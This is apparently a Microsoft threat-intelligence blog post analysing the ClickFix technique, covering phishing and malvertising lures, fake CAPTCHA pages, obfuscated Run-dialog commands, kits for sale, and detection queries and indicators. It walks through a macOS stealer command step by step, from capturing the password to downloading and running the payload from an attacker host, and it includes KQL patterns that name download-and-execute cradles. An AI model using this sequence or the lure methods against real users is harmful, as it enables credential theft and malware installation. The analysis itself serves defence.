Think before you Click(Fix): Analyzing the ClickFix social engineering technique

Over the past year, Microsoft Threat Intelligence and Microsoft Defender Experts have
observed the ClickFix social engineering
technique growing in popularity, with campaigns targeting thousands of enterprise and end-user devices globally every day. Since early 2024, we ve helped multiple customers across various industries address such campaigns attempting to deliver payloads like the prolific Lumma Stealer malware. These payloads affect Windows and
macOS devices and typically lead to information theft and data exfiltration. The ClickFix
technique attempts to trick users into running malicious commands on their devices by taking advantage of their target s tendency to solve minor technical issues and other seemingly benign interactions, such as human verification and CAPTCHA checks. It typically gives the users instructions that involve clicking prompts and copying, pasting, and running commands directly in the Windows Run dialog box, Windows Terminal, or Windows
PowerShell
. It s often combined with delivery vectors such as phishing, malvertising, and drive-by compromises, most of which even impersonate legitimate brands and organizations to further reduce suspicion from their targets. Because ClickFix relies on human intervention to launch the malicious commands, a campaign that uses this
technique could get past conventional and automated security solutions. Organizations could thus reduce the impact of this
technique by educating users in recognizing its lures and by implementing policies that will harden the device configurations in their environment (for example, disallowing users to use the Run dialog if it s not necessary in their daily tasks). Microsoft Defender XDR also provides a comprehensive set of protection features that detect this threat
at
various stages of the attack chain. This blog discusses the different elements that make up a ClickFix
campaign from the arrival vectors it comes with to its various implementations and provides different examples of threat campaigns we ve

observed to further illustrate these elements. We also provide recommendations and
detection details to surface and mitigate this threat. The ClickFix attack chain Before the click: Arrival vectors Inside the click: ClickFix implementations The fix : User-level code execution Beyond Windows: ClickFix targeting
macOS users Behind the click: ClickFix kits and other
services
for sale ClickFix protection and
detection The ClickFix attack chain A typical ClickFix attack begins with threat actors using phishing emails, malvertisements, or
compromised websites to lead unsuspecting users to a visual lure usually a landing page and trick them into executing a malicious command themselves. By adding this user interaction element in the attack chain, a threat using the ClickFix
technique could slip through conventional and automated security solutions. Microsoft Threat Intelligence
observed threat actors adapting and improving certain elements of the technique to further evade
detection. For example, threat actors obfuscate the JavaScript that generates the visual lures or they download parts of the code from different servers. They also employ various tactics in obfuscating malicious commands. We discuss these stages of the attack chain in detail in the succeeding sections of this blog. Once the malicious command is run by the user, malware is downloaded into the target device. We ve
observed numerous threat actors that leverage ClickFix attacks deliver the following: Infostealers like LummaStealer , which appears to be the most prolific ClickFix final
payload based on our observations and threat
hunting investigations
Remote
access tools (RATs) such as Xworm, AsyncRAT, NetSupport, and SectopRAT, which could allow threat actors to conduct hands-on keyboard activity like discovery,
lateral movement, and
persistence Loaders like Latrodectus and MintsLoader, which could deliver additional malware and other payloads Rootkits, such as a modified version of the open source r77, which could allow threat actors to employ several sophisticated

persistence and defense evasion tactics and remain deeply embedded in a victim system These final payloads are often fileless , that is, they re seldom written to disk as a Windows
executable (
.exe or .dll) file. Instead, they re loaded and launched in memory by living-off-the-land binaries (LOLBins), often as a .NET assembly or Common Language Runtime (CLR) module. However, whether the malware is on disk or in memory, we ve
observed its code injected into LOLBins, such as
msbuild.exe
,
regasm.exe
, or
powershell.exe
. Figure 1. The typical ClickFix attack chain Case study: Lampion malware campaign To illustrate a typical ClickFix attack chain, let s look
at
a
campaign we first identified in May 2025 targeting Portuguese organizations in government, finance, and transportation sectors to deliver Lampion malware, an infostealer focused on banking information. This
campaign has since been
observed in other countries including Portugal, Switzerland, Luxembourg, France, Hungary, and Mexico targeting organizations in the government, education, transportation, and financial
services
industries. As of June 2025, this
campaign remains active. The Lampion malware
campaign s ClickFix lures, obfuscation methods, and multi-stage infection process are designed to evade
detection: The
threat actor sends phishing emails containing a ZIP file, which when opened, contains an HTML file that redirects target users to a fake Portuguese tax authority site where the ClickFix lure is hosted. The ClickFix lure tricks users into launching a
PowerShell
command that downloads an obfuscated VBScript (.vbs). The downloaded script then writes a second obfuscated .vbs file to the Windows %

TEMP% directory and schedules it to run later using a hidden task. This second .vbs file downloads a third and much larger .vbs file that performs reconnaissance, checks for antivirus or sandbox environments, and sends system data to a command-and-

control

(

C2) server. The third script also creates a .

cmd

file in the Windows startup folder, naming it after the user s hostname, and schedules a system restart. After the device restarts, the .

cmd

file launches a large DLL through

rundll32.exe

and attempts to deliver the final

payload. However, during our investigation, the actual Lampion malware wasn t delivered because the download command was commented out of the code. Figure 2. Lampion infection chain Before the click: Arrival vectors Threat actors leveraging ClickFix rely on a variety of methods to lure unwitting users. We ve

observed three primary avenues where a user could encounter a ClickFix prompt: by receiving phishing emails, encountering a malicious ad, or by visiting a

compromised or malicious website. Phishing Microsoft Threat Intelligence first

observed the use of the ClickFix

technique between March and June 2024 in email campaigns sent by a threat actor we track as Storm-1607. These emails contained HTML attachments that attempted to install DarkGate, a commodity loader that is capable of keylogging, cryptocurrency mining, establishing

C2 communications, and downloading additional malicious payloads, among others. One of Storm-1607 s campaigns

observed in May 2024 consisted of tens of thousands of emails targeting organizations in the United States (US) and Canada. These emails used payment and invoice lures and contained attachments with file names like reports_528647.html : Figure 3. Storm-1607 phishing email When opened, the HTML loaded a page with a fake Microsoft Word new document image and a dialog box showing an error message and prompting the user to click the How to fix button: Figure 4. HTML attachment displaying a Microsoft Word background and ClickFix lure Clicking the button copied the malicious code

on the user s clipboard in the background. Meanwhile, the dialog box added new instructions that explained to the user
how to open Windows Terminal and paste the malicious code into it: Figure 5. ClickFix lure displaying further instructions While other threat actors also use invoice or payment lures in their phishing campaigns, as of this writing, including HTML attachments in the emails is no longer the preferred method to implement the ClickFix
technique. Instead, threat actors now include in their phishing email a
URL
that points to a ClickFix landing page. For example, in March 2025, we observed a
threat actor tracked as Storm-0426 launch a
campaign consisting of thousands of phishing emails that
targeted users in Germany and attempted to install MintsLoader. The emails used payment and invoice lures purportedly from a web hosting provider and contained URLs leading to the Prometheus traffic direction system (TDS) hosted on numerous
compromised sites: Figure 6. Storm-0426 phishing email The TDS redirected users to the attacker-controlled website mein-lonos-cloude[.]de , where the ClickFix
technique instructed the users to complete a human verification process by following the displayed instructions, which launched a malicious code: Figure 7. ClickFix landing page Another example of a phishing
campaign using URLs and redirectors was
observed in June 2025, where the
campaign impersonated the US Social Security Administration (SSA) and used a combination of social engineering and domain spoofing to deliver ScreenConnect, a legitimate
remote
management tool that has become increasingly abused by threat actors. Once installed, ScreenConnect could give an attacker full
remote
control
over a
victim s system, enabling them to exfiltrate data, install additional malware, or conduct surveillance. The
campaign began with emails sent from a legitimate but
compromised Brazilian domain. The message, which even included legitimate links to SSA s official social media accounts in the footer, claimed that

there was an issue with the recipient s social security statement. Like other phishing emails, these characteristics and tactics were all attempts by the
threat actor to bypass spam filters, lend credibility and reduce suspicion to the message, and prompt the user to take immediate action: Figure 8. Phishing email impersonating the US SSA The message s call-to-action button, labeled Download Statement , was also particularly deceptive because instead of linking directly to a malicious site, it used a Google Ads
URL
redirect to obfuscate the final destination. This
technique not only helped the email pass through conventional email security solutions, it also undermined an email best practice (hovering over the links before clicking to determine if the
URL
displayed points to the intended site or not) users are typically taught as part of their security awareness trainings. When a user clicked the Download Statement button, they were redirected to a spoofed SSA website hosted on a Spanish top-level domain (access-ssa-gov[.]es). The site closely mimicked the real SSA home page, including a blurred background image of the legitimate site to create a false sense of familiarity and trust: Figure 9. ClickFix landing page impersonating the US SSA The landing page presented the user with a CAPTCHA human verification pop-up, which was part of the ClickFix
technique. Behind the scenes, this interaction triggered a series of fake verification steps designed to guide the user into running a
PowerShell
script that would eventually download and launch the ScreenConnect payload: Figure 10. ClickFix instructions from the spoofed US SSA domain Malvertising Malvertising is another popular delivery method that leads to ClickFix landing pages. In a
campaign
observed in April 2025, users who attempted to stream free or pirated movies on certain websites inadvertently launched a variety of scam pages in a new browser tab when they interacted with a movie (for example, by pressing the play button): Figure 11. Example of a free movie streaming website One of these scam pages was a ClickFix landing page that downloaded and installed Lumma Stealer: Figure 12. ClickFix landing page the users were redirected to if they clicked the Play button on the free movie website This activity

cluster is notable because it renamed the various intermediate HTA scripts to media format extensions such as .mp3 , .mp4 , or .ogg . It s also notable for its high traffic volumes: in a single day, tens of thousands, if not hundreds of thousands, of unique visitors could be funneled to scam pages (including the ClickFix landing page) through the malvertising redirectors.
Drive-by
compromise Some threat actors have also been
observed to leverage
compromised websites to deliver the ClickFix landing page. For example, the threat actor we track as Storm-0249 has traditionally used email to deliver Latrodectus or other
initial access malware whether by using PDF files or
URL
links (sometimes copyright infringement -themed). However, since the beginning of March 2025, Storm-0249 switched to compromising legitimate websites, potentially through WordPress vulnerabilities, and using the ClickFix
technique to deliver its payloads. When a user visits the
compromised site, the original page is briefly displayed before it s replaced with the ClickFix human verification lure. This specific lure even spoofs Cloudflare to further trick users into thinking that the verification step is legitimate: Figure 13. ClickFix lure spoofing Cloudflare Turnstile on a
compromised site Inside the click: ClickFix implementations ClickFix operators use several methods to attempt to convince a target to perform user-level command execution on their system. Early landing pages mimicked Google s Aw, Snap! crash error or Word Online extension missing message (as depicted in Figure 4), while recent ones spoof Google s reCAPTCHA and Cloudflare s Turnstile solution. We ve even
observed threat actors spoof social media platforms like Discord to trick users into believing they re joining an actual Discord server. Many elements go into building ClickFix lure pages from JavaScript inline frames (iframes) and HTML href codes to cascading style sheets (CSS) resources to make them more legitimate-looking. There are various ways that ClickFix is implemented: some implementations are contained in one file or page, while others use
remote
resources. Some threat actors leave code comments amateurishly while others obfuscate their code. There are even implementations that report the status

of an infection to a Telegram channel or a web server. We provide a few examples of these implementations and discuss their inner workings. Impersonating Cloudflare Turnstile Figure 14 shows a partial screenshot of a ClickFix landing page, binancepizza[.]info , displaying a seemingly legitimate Cloudflare Turnstile verification process that a user is lured to interact with before they can supposedly access the site: Figure 14. The ClickFix landing page binancepizza[.]info Its HTML source code clones this Cloudflare Turnstile style page using a href attribute to a CSS resource hosted by the Font Awesome library: Figure 15. HTML code highlighting a CSS resource for a Cloudflare verification prompt The page also references an HTML file (field.html) using a hidden iframe: Figure 16. HTML code highlighting hidden iframe and text needing to verify Within field.html , we see in Figure 17 that contentEl is the iframe element representing the fake Cloudflare Turnstile verification check box. When a user ticks the Verify you are human check box, this script animates a fake spinner through runVerification() and sends postMessage(trigger) to the parent window (the main landing page). Figure 17. JavaScript code of iframe field.html, highlighting elements that send a trigger message upon verification click The user is then presented with the ClickFix instructions (Figure 18), while the obfuscated command is copied to the user s clipboard (Figure 19): Figure 18. ClickFix instructions from binancepizza[.]info Figure 19. Malicious command copied to clipboard Figure 20 shows that the clipboard copy occurs once the code receives the message trigger , which is sent by the field.html hidden iframe. Once that message is received, the script uses navigator.clipboard.writeText(codeToCopy) to copy the command to the clipboard. Figure 20. JavaScript code highlighting the method navigator.clipboard.writeText, which copies a malicious command to clipboard Impersonating social platforms It s important to note that not all ClickFix landing pages are designed in the same manner and might not strictly contain the elements discussed previously. In some instances, threat actors also mimic popular social platforms to broaden their reach of potential targets. Figure 21 shows a ClickFix landing page spoofing a Discord server supposedly needing to verify a user before they can join: Figure 21. Fake Discord server landing page implementing ClickFix. In this page s source code (Figure 22), we can see it referencing the Discord logo image file to appear legitimate. Additionally, the addEventListener method waits for the Verify button to get clicked (through verifyBtn) so navgiator.clipboard.writetext(command) can copy the malicious command to the user s clipboard. This JavaScript method is a Clipboard API that allows

for accessing the operating system (OS) clipboard. Older pages might use document
.execCommand() , which is now deprecated. The fake Discord landing page differs from the previous example because the reference of an external trigger (from the hidden iframe) isn t used here. Instead, the click then copy is all processed from the main window. Based on our analysis, this landing page also appears to be part of the OBSCURE#BAT
campaign delivering r77 rootkit. Figure 22. HTML code highlighting use of Discord logo and JavaScript elements that copy a malicious command to clipboard upon clicking verify The fix : User-level code execution The ClickFix
technique typically presents its fix by instructing users to run malicious commands or code in the Windows Run dialog box. We assess that the threat actors who use this
technique are banking on the idea that most of their targets aren t familiar with this Windows OS component and what it s used for, unlike the more advanced users doing system administrator tasks. Early ClickFix lures instructed users to run commands manually and directly in Windows Terminal or Windows
PowerShell
. However, multiple line warnings might have deterred potential victims from running these commands, leading to the threat actors changing their tactics. Figure 23. Example of a multiple line warning in Windows Terminal Detecting Windows Run dialog misuse The Windows Run dialog (Win + R) is a trusted shell input user interface (UI) that s part of Windows
Explorer
(
explorer.exe
). Internally, it uses ShellExecute or CreateProcess APIs to resolve and launch commands. The input is limited to MAX_PATH , requiring a null-terminated string (\0) with a practical maximum of 259 characters. Additionally, as part of the Run dialog, Windows loads tiptsf.dll module in
explorer.exe
. This DLL file is related to the Text
Services
Framework (TSF), which provides input processor interface. Figure 24. The Windows Run dialog box Entering commands into the Run dialog leaves forensic traces most notably in the RunMRU (Most Recently Used) registry key. This key keeps a history of Run dialog executions and can be used to reconstruct

user-initiated activity during investigations. Note that it doesn t create a registry entry if the process execution fails. Figure 25. RunMRU registry key entry with a malicious ClickFix command To determine if a ClickFix command execution is potentially occurring in the environment, one can check the RunMRU entries if they include signs pointing to LOLBins such as powershell , mshta , rundll32 , wscript , curl , and wget that can execute code and/or download payloads. PowerShell continues to be the most leveraged native binary, with cmdlets such as iwr (Invoke-WebRequest), irm (Invoke-RestMethod), and iex (Invoke-Expression) being very prolific. Additional suspicious elements to check in entries within the RunRMU registry key include the following: First-stage payloads are often hosted by direct IP addresses, content delivery network (CDN) domains, interesting top-level domains (for example, .live , . shop , .icu), or code-sharing platforms such as pastes. First-stage payloads are often delivered and/or launched as specific file type such as .html , .hta , .txt , .zip , .msi , .bat , .ps1 , or .vbs The file type of the scripts might be renamed to media extensions (such as .png , .mp3 , .mp4 , .wav , and .jpg) to hide their true intent. The file type might employ double file extension for evasion (for example, file.hta.mp4) URLs are often shortened using shorteners such as Bitly. A fake reCAPTCHA, CAPTCHA, or Turnstile confirmation is included, such as the following: I am not a robot reCAPTCHA Verification ID: XXXX # # I am not a robot: CAPTCHA Verification UID: XXXX\ # Human, not a robot: CAPTCHA: Verification ID: XXXX
Cloud identificator:XXXX Figure 26. Examples of generic ClickFix commands Obfuscation and execution techniques for defense evasion The command examples in the previous section aren t all encompassing, as we ve observed threat actors employing a growing number of obfuscation and execution techniques for defense evasion. These techniques include nested execution chains,

proxy command abuse, encoding schemes such as Base64, use of string concatenation/fragmentation, and escaped characters, among others. Figure 27. Example of a ClickFix command that was using nested PowerShell, string obfuscation through concatenated ampersand (&) delimiters, and benign sounding phrase (for example, Microsoft Defender Services Secure Access) Figure 28. Example of a ClickFix command that was using LOLBIN stacking (repeated cmd.exe) and obfuscation through escape characters (^) Figure 29. Example of a ClickFix command that was obfuscated using string splitting and concatenation, indexed character access through the $1 command string, and ampersand execution Beyond Windows: ClickFix targeting macOS users In June 2025, a ClickFix campaign was reported to be targeting macOS users to deliver Atomic macOS Stealer (AMOS). This new campaign is yet another mark in the continuously evolving threat landscape, as the ClickFix technique was previously observed to be more common in Windows-based attacks. The campaign, which according to our analysis goes back to late May 2025, redirected target users to Clickfix-themed delivery websites that were impersonating Spectrum, a US-based company that provides services for cable television, internet access, and unified communications: Figure 30. ClickFix landing page with a fake CAPTCHA Like any other ClickFix campaign, when the user clicks the Alternate verification button, the page displays instructions the user has to follow to fix their issue. Interestingly, the steps the lure displays even on macOS users are for Windows devices: Figure 31. ClickFix instructions presented to the target user Meanwhile, in the background, a malicious command is copied to the user s clipboard. The command that is copied is different for macOS and Windows devices. Windows: Figure 32. Screenshot of the ClickFix command copied on Windows devices macOS: Figure 33. Screenshot of the ClickFix command copied on

macOS devices The command that s copied for
macOS devices instructs the system to perform the following actions: Get
current user: username=$(
whoami
) Prompt for the correct password: Continuously prompt System Password:
until the user enters the correct password Validate password: Use dscl .
-authonly to verify the password against
macOS directory
services
Store password: Save the valid password to the /tmp/.pass file Download
payload: curl -o /tmp/
update
hxxps[:]
//applemacios[.]com/getrur/
update
Remove quarantine: Use the stolen password with
sudo -S
xattr
-c to bypass
macOS security Make an
executable file: chmod +x /tmp/
update
Launch the malware: Run the downloaded file /tmp/
update
The file saved as
update
within the tmp directory belongs to the AMOS
malware family. AMOS variants such as Poseidon and Odyssey are known to
steal user information, including browser cookies, passwords, and
cryptocurrency wallet credentials. Behind the click: ClickFix kits and
other
services
for sale Microsoft Threat Intelligence has
observed several threat actors selling the ClickFix builders (also called
Win + R) on popular hacker forums since late 2024. Some of these actors are
bundling ClickFix builders into their existing kits that already generate
various files such as LNK, JavaScript, and SVG files. The kits offer
creation of landing pages with a variety of available lures including
Cloudflare. They also offer construction of malicious commands that users

will paste into the Windows Run dialog. These kits claim to guarantee antivirus and web protection bypass (some even promise that they can bypass Microsoft Defender SmartScreen), as well as
payload
persistence. The cost of subscription to such a service might be between US$200 to US$1,500 per month. We ve also
discovered sellers that offer one-time and piece-meal solutions (for example, only the source code, landing page, or the command line) priced anywhere between US$200 and US$500. Figures 34 and 35 show an example of a ClickFix builder that offers a variety of configurable options such as:
Displaying a decoy PDF file after a target user is phished
Payload execution timing Virtual machine (VM)
detection and evasion (Anti VM) and user access
control
(UAC) bypass Visual template to be used, such as Google Meet, Google CAPTCHA, or Cloudflare Language to be used, for example, English, German, Spanish, French, Italian, or Portuguese Figure 34. Screenshot of a ClickFix builder, taken from the seller s demo video Figure 35. Another screenshot of a ClickFix builder, taken from the seller s demo video ClickFix protection
and
detection Microsoft Defender XDR offers comprehensive coverage for ClickFix attacks by leveraging a range of available technologies across different attack layers. For example, Microsoft Defender SmartScreen displays a warning to Microsoft Edge users when they visit a ClickFix landing page:
Figure 36. Microsoft Defender SmartScreen flagging a ClickFix landing page
Even if a user chooses to bypass the SmartScreen warning or is using a different web browser and is socially engineered to execute a command in the Run dialog, Microsoft Defender for Endpoint detects and mitigates the attacks
initial access activities like the suspicious process execution and command-line activity during the process scan phase. Most attack paths eventually lead to the execution of either
PowerShell
or HTA scripts. Microsoft s Antimalware Scan Interface (AMSI) provides scanning capabilities for both scripting environments and
PowerShell
applications. Defender s
Cloud Protection delivers enhanced protection by

monitoring and intercepting outgoing connections to malicious URLs as well as analyzing process execution patterns. Additionally, Microsoft Defender for Office 365 analyzes end-to-end links and HTML attachments, and has fake CAPTCHA behavioral signatures that proactively block ClickFix-related phishing emails. Additional attack chain coverage with
network protection In early 2025, Microsoft Defender Experts
observed thousands of devices being affected by a ClickFix attack (that is, the ClickFix command was executed by a user on the device) per month, even with an endpoint
detection and response (EDR) solution enabled. Due to this, our researchers performed pattern-of-life analysis to follow the tactics, techniques, and procedures (TTPs) in the attack timeline and understand the gaps that can be filled so that the attack could be stopped
at
the
initial access stage. Their research resulted in the automation of the analysis and collection of numerous obfuscated/encoded LOLBin commands observed in the RunMRU registry, and they were able to successfully extract and block newly created malicious domainsthrough Defender for Endpoint s network protection feature . This feature is an important component on the protection against ClickFix because blocking the
C2 domains early in the attack chain prevents the download and/or execution of first-stage payloads, effectively making the attack unsuccessful. Recommendations Microsoft Threat Intelligence recommends the following mitigations to reduce the impact of this threat. Educate users to identify social engineering attacks. Ensure users are aware of what they copy and paste. Check your Microsoft 365 email filtering settings to ensure spoofed emails, spam, and emails with malware are blocked. Use Microsoft Defender for Office 365 for enhanced phishing protection and coverage against new threats and polymorphic variants. Configure Defender for Office 365 to recheck links on click and delete sent mail in response to newly acquired threat intelligence. Turn on safe attachments policies to check attachments to inbound email. Consider using enterprise-managed browsers , which provide multiple security features including security
update
requirements and data compliance policies . Block web pages from automatically running Flash plugins. Enable
network protection and web protection in Microsoft Defender for Endpoint to safeguard against malicious sites and internet-based threats. Encourage

users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen , which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware. Turn on cloud-delivered protection in Microsoft Defender Antivirus, or the equivalent for your antivirus product, to cover rapidly evolving attacker tools and techniques.
Cloud-based machine learning protections block a majority of new and unknown variants. Enable
PowerShell
script block logging to detect and analyze obfuscated or encoded commands, providing visibility into malicious script execution that might otherwise evade traditional logging. Use
PowerShell
execution policies such as setting AllSigned or RemoteSigned tohelp reduce the risk of malicious execution by ensuring only trusted, signed scripts are executed, adding a layer of
control
. Use Group Policy to deploy hardening configurations throughout your environment, if certain features are not necessary: Disable the Run dialog box (Win + R) key and remove the Run option from the Start Menu by selecting User Configuration > Administrative Templates > Start Menu and Taskbar > Remove Run menu from Start Menu . Create an App
Control
policy that prohibits the launch of native Windows binaries from Run . This can be accomplished by defining a rule based on the specific process that is launching binaries like
PowerShell
. Configure Windows Terminal access and settings to warn users when the text they re pasting contains multiple lines . Microsoft Defender XDR customers can also implement the following attack surface reduction rules to harden an environment against
PowerShell
techniques used by threat actors: Block execution of potentially obfuscated scripts Block
executable files from running unless they meet a prevalence, age, or trusted list criterion Block JavaScript or VBScript from launching downloaded executable content Microsoft Defender XDR
detections Microsoft Defender XDR customers can refer to the list of applicable

detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog. Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence. Microsoft Defender Antivirus Microsoft Defender Antivirus detects this threat as the following malware: Behavior:Win32/ClickFix Behavior:Win32/SuspClickFix Trojan:Win32/ClickFix Trojan:Script/ClickFix Behavior:Win32/RegRunMRU Trojan:HTML/FakeCaptcha Microsoft Defender for Endpoint The following Microsoft Defender for Endpoint alerts might also indicate threat activity related to this threat. Note, however, that these alerts can be also triggered by unrelated threat activity: Suspicious command in RunMRU registry Use of living-off-the-land binary to run malicious code Suspicious process executed

PowerShell

command Suspicious

PowerShell

command line Suspicious SuspClickFix behavior was blocked An active SuspDown malware was prevented from executing via AMSI Suspicious MaleficAms behavior was blocked An active ClickFix malware in a command line was prevented from executing ClickFix malware was prevented Information stealing malware activity

Powershell

made a suspicious network connection Suspicious process launch by

Rundll32.exe

Suspicious

Rundll32

command-line Suspicious Scheduled Task Process Launched Microsoft Defender for Office 365 Microsoft Defender for Office 365 detects malicious activity associated with this threat through the following alerts: A potentially malicious

URL

click was detected Email messages containing malicious

URL

removed after delivery Email messages removed after delivery A user clicked through to a potentially malicious

URL

Suspicious email sending patterns detected Email reported by user as malware or phish Microsoft Security Copilot Security Copilot customers can use the standalone experience to create their own prompts or run the following pre-built promptbooks to automate
incident response or investigation tasks related to this threat: Check impact of an external threat article Suspicious script analysis
Threat actor profile Threat Intelligence 360 report based on MDTI article Vulnerability impact assessment Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel. Threat intelligence reports Microsoft customers can use the following reports in Microsoft products to get the most up-to-date information about the
threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments. Microsoft Defender Threat Intelligence DarkGate malware samples delivered through fake Notion websites followed by ClickFix
technique ClickFix and spoofed IT apps deliver RATs via Node.js over Cloudflare Quick Tunnels Phishing
campaign impersonates Booking.com, delivers multiple commodity malware types Storm-1877 evolving tactics to target users with ClickFix attacks Email phishing
campaign leads to Xworm ClickFix
technique leverages clipboard to run malicious commands Lampion Is Back With ClickFix Lures Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this
threat actor.
Hunting queries Microsoft Defender XDR Microsoft Defender XDR customers can run the following

query

to find related activity in their networks: ClickFix commands execution Identify ClickFix commands execution. DeviceRegistryEvents
| where ActionType =~ "RegistryValueSet"
| where InitiatingProcessFileName =~ "

explorer.exe
"
| where RegistryKey has @"\
CurrentVersion\
Explorer
\RunMRU"
| where RegistryValueData has " " or (RegistryValueData has_any ("
powershell
", "
mshta
", "curl", "
msiexec
", "^") and RegistryValueData matches regex "[\u0400-\u04FF\u0370-\u03FF\u0
590-\u05FF\u0600-\u06FF\u0E00-\u0E7F\u2C80-\u2CFF\u13A0-\u13FF\u0530-\u058F
\u10A0-\u10FF\u0900-\u097F]") or (RegistryValueData has "
mshta
" and RegistryValueName !~ "MRUList" and RegistryValueData !in~ ("
mshta.exe
\\1", "
mshta
\\1")) or (RegistryValueData has_any ("
bitsadmin
", "
forfiles
", "ProxyCommand=") and RegistryValueName !~ "MRUList") or
((RegistryValueData startswith "
cmd
" or RegistryValueData startswith "
powershell
") and (RegistryValueData has_any ("-W Hidden ", " -eC ", "curl",
"E:jscript", "
ssh
", "Invoke-Expression", "UtcNow", "Floor", "
DownloadString
", "DownloadFile", "
FromBase64String
", "
System.IO
.Compression", "

System.IO
.
MemoryStream
", "
iex
", "Invoke-WebRequest", "iwr", "Get-ADDomainController", "InstallProduct", "-w h", "-X POST", "Invoke-RestMethod", "-NoP -W", ".InVOKe", "-useb", "irm ", "^", "[char]", "[scriptblock]", "-UserAgent", "UseBasicParsing", ".Content") or RegistryValueData matches regex @"[-/][Ee^]{1,2}[NnCcOoDdEeMmAa^]*\s[A-Za-z0-9+/=]{15,}")) Lampion malware activity The following
query
searches for
PowerShell
command associated with Lampion malware activity that is used to download malicious files.
DeviceProcessEvents
| where InitiatingProcessFileName
== "
powershell.exe
"
| where InitiatingProcessParentFileName
== "
explorer.exe
"
| where FileName has_any ("
WScript.exe
")
| where ProcessCommandLine contains "\"
PowerShell.exe
\" -windowstyle minimized -Command" and ProcessCommandLine has "Invoke-WebRequest" Microsoft Sentinel Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with TI map) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace. Below are the queries using Sentinel Advanced Security Information Model (ASIM) functions to hunt threats across both

Microsoft first-party and third-party data sources. ASIM also supports deploying parsers to specific workspaces from GitHub , using an ARM template or manually Detect
network IP and domain indicators of
compromise using ASIM The following
query
checks IP addresses and domain IOCs across data sources supported by ASIM network session parser:

```
//IP list and domain list- _Im_NetworkSession let lookback = 30d; let
ioc_ip_addr = dynamic(["185.234.72.186", "45.94.31.176", "3.138.123.13",
"16.171.23.221", "3.23.103.13", "83.242.96.159", "5.8.9.77"]); let
ioc_domains = dynamic(["mein-lonos-cloude.de", "derko-meru.online",
"objectstorage.ap-singapore-2.oraclecloud.com", "tesra.shop", "zzzp.live",
"cqsf.live", "access-ssa-gov.es", "binancepizza.info",
"panel-spectrum.net"]);
_Im_NetworkSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr) or DstDomain has_any (ioc_domains)
| summarize imNWS_mintime=min(TimeGenerated),
imNWS_maxtime=max(TimeGenerated), EventCount=count() by SrcIpAddr,
DstIpAddr, DstDomain, Dvc, EventProduct, EventVendor Detect
```

network and files hashes indicators of
compromise using ASIM The following
query
checks IP addresses, domains, and file hash IOCs across data sources supported by ASIM web session parser:

```
//IP list - _Im_WebSession let lookback = 30d; let ioc_ip_addr =
dynamic(["185.234.72.186", "45.94.31.176", "3.138.123.13", "16.171.23.221",
"3.23.103.13", "83.242.96.159", "5.8.9.77"]); let ioc_sha_hashes =dynamic([
"061d378ffed42913d537da177de5321c67178e27e26fca9337e472384d2798c8",
"592ef7705b9b91e37653f9d376b5492b08b2e033888ed54a0fd08ab043114718",
"8fb329ae6b590c545
c242f0bef98191965f7afed42352a0c84ca3ccc63f68629",
"d9ffe7d433d715a2bf9a31168656e965b893535ab2e2d9cab81d99f0ce0d10c9",
"f77c92424476535160977743 4e0e51603e7b84c5a13eef7d5ec730823fc5ebab"]);
_Im_WebSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr) or FileSHA256 in (ioc_sha_hashes)
| summarize imWS_mintime=min(TimeGenerated),
imWS_maxtime=max(TimeGenerated), EventCount=count() by SrcIpAddr,
DstIpAddr,
```

Url
, Dvc, EventProduct, EventVendor
// Domain list - _Im_WebSession let ioc_domains =
dynamic(["mein-lonos-cloude.de", "derko-meru.online",
"objectstorage.ap-singapore-2.oraclecloud.com", "tesra.shop", "zzzp.live",
"cqsf.live", "access-ssa-gov.es", "binancepizza.info",
"panel-spectrum.net"]); _Im_WebSession (
url
_has_any = ioc_domains) Detect files hashes indicators of
compromise using ASIM The following
query
checks IP addresses and file hash IOCs across data sources supported by ASIM
file event parser:
// file hash list - imFileEvent let ioc_sha_hashes = dynamic(["061d378ffed4
2913d537da177de5321c67178e27e26fca9337e472384d2798c8",
"592ef7705b9b91e37653f9d376b5492b08b2e033888ed54a0fd08ab043114718",
"8fb329ae6b590c545
c242f0bef98191965f7afed42352a0c84ca3ccc63f68629",
"d9ffe7d433d715a2bf9a31168656e965b893535ab2e2d9cab81d99f0ce0d10c9",
"f77c92424476535160977743 4e0e51603e7b84c5a13eef7d5ec730823fc5ebab"]);
imFileEvent
| where SrcFileSHA256 in (ioc_sha_hashes) or TargetFileSHA256 in
(ioc_sha_hashes)
| extend AccountName =
tostring
(split(User, @'')[1]), AccountNTDomain =
tostring
(split(User, @'')[0])
| extend AlgorithmType = "SHA256" Indicators of
compromise
Indicator Type Description First seen Last seen mein-lonos-cloude[.]de
Domain Actor-controlled ClickFix landing page used in a MintsLoader
campaign 2025-03-26 2025-03-26 derko-meru[.]online Domain MintsLoader
C2 2025-03-26 2025-03-26 tesra[.]shop Domain Domain used in ClickFix
command (entered into Run dialog) in a Lumma Stealer malvertising
campaign 2025-04-02 2025-04-02 cqsf[.]live Domain Domain used in ClickFix
command (entered into Run dialog) in the Latrodectus drive-by
campaign 2025-05-14 2025-05-14 access-ssa-gov[.]es Domain ClickFix landing
page used in a phishing

campaign impersonating Social Security Administration (SSA) 2025-06-02
2025-06-02 binancepizza[.]info Domain ClickFix landing page 2025-05-22
2025-05-22 panel-spectrum[.]net Domain ClickFix landing page used in a
Atomic
macOS Stealer (AMOS)
campaign 2025-05-30 2025-05-30 access-ssa-gov[.]es/ClientSetup
.exe
URL
URL
used in ClickFix command (entered into Run dialog) in the SSA phishing
